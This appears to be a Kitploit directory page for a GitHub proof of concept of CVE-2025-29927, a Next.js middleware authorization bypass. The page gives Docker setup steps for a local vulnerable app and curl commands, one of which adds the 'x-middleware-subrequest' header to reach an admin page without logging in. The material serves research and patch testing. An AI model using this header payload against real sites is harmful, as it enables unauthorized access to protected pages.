Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
nextjs-middleware-exploit — Research on Next.js middleware vulnerability (CVE-2025-29927) allowing authorization bypass and potential exploits. | Kitploit
Tools/GitHubGitHub/l1uk/nextjs-middleware-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubl1uk/nextjs-middleware-exploit

nextjs-middleware-exploit

Research on Next.js middleware vulnerability (CVE-2025-29927) allowing authorization bypass and potential exploits.

View Repository
291 year agoNot yet reviewed
Share

Next.js Middleware Vulnerability Research (CVE-2025-29927)

This repository demonstrates a critical vulnerability in Next.js middleware (CVE-2025-29927), which affects versions 11.1.4 through 15.1.7. This vulnerability allows for authorization bypass, CSP bypass, and potential DoS attacks through cache-poisoning. The issue originates in the way the x-middleware-subrequest header is handled, allowing attackers to bypass middleware protection mechanisms.

This proof of concept is specific for the vulnerability in v12

Usage

Environment setup

Set up the vulnerable environment using docker and the files from this repo by running:

git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app

Exploit

This repository has the exploit.sh already created script to test the explotation of the vulnerability. Tu test it run:

chmod +x exploit.sh
./exploit.sh

Additionally you can test the explotation of the vulnerability by trying the following

  1. Request the admin page without authentication. You should get a redirection to the login page.
curl -i http://localhost:3000/admin
  1. Request the page without authentication but using the x-middleware-subrequest header. You should be able to bypass the authentication page.
curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin

Security Advisory

  • CVE-2025-29927: Security Advisory Link
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →